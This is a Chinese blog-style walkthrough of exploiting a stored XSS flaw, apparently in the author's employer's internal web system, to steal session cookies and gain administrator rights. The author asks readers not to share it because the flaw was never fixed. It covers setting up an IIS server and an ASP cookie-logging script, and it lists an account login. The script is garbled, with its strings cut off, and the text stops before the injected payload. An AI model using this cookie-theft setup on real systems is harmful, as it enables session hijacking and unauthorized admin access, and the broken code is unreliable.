当前位置:首页 > 利用xss漏洞获取cookie
利用xss漏洞获取cookie得到管理员权限
注:不要外部传播,因为这类问题开发一直没改,被发现我会被开除的。
一. 检测xss漏洞
内网,漏洞界面截图:
我在标题和内容里输入了,保存,结果打开有xss的弹出框,经过确定是标题栏存在xss漏洞,而内容栏已经被过滤。
二. 部署偷取cookie
1.安装IIS
我是windows 2003的,插入系统盘,控制面板,添加/删除windows组件,应用程序服务器,IIS在这里,安装好后,建立站点,也就选择主目录,首页等配置,这部分内容网上都有的,大学也学过的。
2.编写偷取cookie的代码 代码如下: <%
msg=Request.ServerVariables(\ testfile=Server.MapPath(\
set fs=server.CreateObject(\ set thisfile=fs.OpenTextFile(testfile,8,True,0) thisfile.Writeline(\ thisfile.close set fs = nothing %>
在iis部署公网能访问的目录下新建个文本,命名为s.asp,把以上代码复制进去。代码我也不是很看到懂。估计就是把返回的内容写在cook.txt这个文件里吧。
3.用我自己的帐号show/12345678登录(昵称是:我的帐号),找到刚才存在xss漏洞的界面,新建,在标题栏里输入:
因为标题字数做了限制100字符,所以我把上面的代码后半部分去除了,修改为: